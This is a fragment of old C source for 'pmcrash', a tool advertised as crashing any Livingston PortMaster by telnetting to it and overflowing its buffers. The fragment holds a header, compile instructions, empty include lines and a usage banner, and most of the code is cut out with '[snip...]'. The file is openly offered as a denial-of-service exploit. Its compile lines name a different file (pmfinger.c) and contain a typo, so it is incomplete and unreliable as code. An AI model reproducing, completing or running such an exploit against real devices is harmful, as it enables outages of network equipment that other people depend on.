/*	The following code will crash ANY Livingston PortMaster.
	It telnets the the portmaster and overflows its buffers.

        Thanks to 'The Doc' for this one.       */



/* pmcrash - note this'll work much faster if all your arguments
             are IP addresses.. mainly because I didn't feel like
             coding a structure to keep track of all the resolved
             names.. so write a script to resolve your list of
             names first, then provide those as arguments */

/* Compiling instructions:

   Linux:
     gcc -O2 -fomit-frame-pounter -s -o pmfinger pmfinger.c

   Solaris 2.4:
     cc -O -s -o pmfinger pmfinger.c -lsocket -lnsl -lresolv -lucb

*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

[snip...]

usage(void) {
  puts("pmcrash v0.2a - ComOS System Rebooter :-)\n"
       "Copyright (C) 1995 LAME Communications\n"
       "Written by Dr. Delete, Ph.D.\n\n"
       "Usage: pmcrash [:port] [[:port] ... ]\n");
  exit(0);

[snip...]